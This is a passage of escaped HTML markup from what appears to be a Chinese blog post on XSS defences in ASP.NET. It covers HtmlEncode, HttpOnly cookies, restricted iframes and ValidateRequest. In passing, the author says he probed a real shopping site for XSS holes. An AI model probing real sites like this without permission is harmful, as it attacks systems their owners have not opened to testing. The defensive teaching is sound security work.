0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;/&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;html&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;script&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;runat&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"server"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;private&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;Page_Load&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Object&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Src&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;EventArgs&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;e&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;{&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #008800; font-style: italic; background-color: #0f140f; "&gt;// Using InnerText renders the content safe&amp;#8211;no need to HtmlEncode&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Welcome1&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;InnerText&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"haha"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #008800; font-style: italic; background-color: #0f140f; "&gt;// Using InnerHtml requires the use of HtmlEncode to make it safe&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Welcome2&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;InnerHtml&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"Hello, "&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;+&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Server&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;HtmlEncode&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"haha"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;);&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;}&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;/&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Script&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;使用IE6.0SP1的cookie选项HttpOnly，注意，HttpOnly只能阻止恶意脚本读取cookie，并不能阻止XSS攻击。比如在ASP.NET中：&lt;/p&gt;&lt;div dir="ltr" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;HttpCookie&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;cookie&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;new&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;HttpCookie&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"Name"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"ZhangChangrong"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;);&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;cookie&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Path&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"/; HttpOnly"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Response&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Cookies&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Add&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;cookie&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;使用IE的&amp;lt;IFrame&amp;gt;的Security属性，设置为restricted后，frame中的脚本将不能执行(仅限于IE)。如：&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;iframe&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;security=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"restricted"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;src=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"http://www.somesite.com/somepage.htm"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;gt;&amp;lt;/frame&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;ASP.NET中的ValidateRequest配置选项。默认情况下，这个功能是开启的，这个功能将会检查用户是否试图在cookie、查询字符串以及HTML表格中设置HTML或脚本。如果请求包含这种潜在的危险输入，就会抛出一个HttpRequestValidationException异常。我在尝试试探当当网的XSS漏洞时发现这个异常信息，可以说当当网使用了ValidateRequest这个选项，或者从另一方面说，也许是无意中启用了这一选项，同时，将错误信息抛出给用户是非常不安全的。&lt;/p&gt;&lt;ol type="a" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 2em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;给一个页面设置ValidateRequest选项：&lt;/p&gt;&lt;div dir="ltr" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;%&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;@&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Page&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Language&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"C#"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;ValidateRequest&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"false"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;%&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;在Machine.config中设置全局ValidateRequest选项，注意，如果在Web.config中重新设置，不会覆盖Machine.config中的这一设置：&lt;/p&gt;&lt;div dir="ltr" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;system&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;web&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;pages&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;buffer&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"true"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 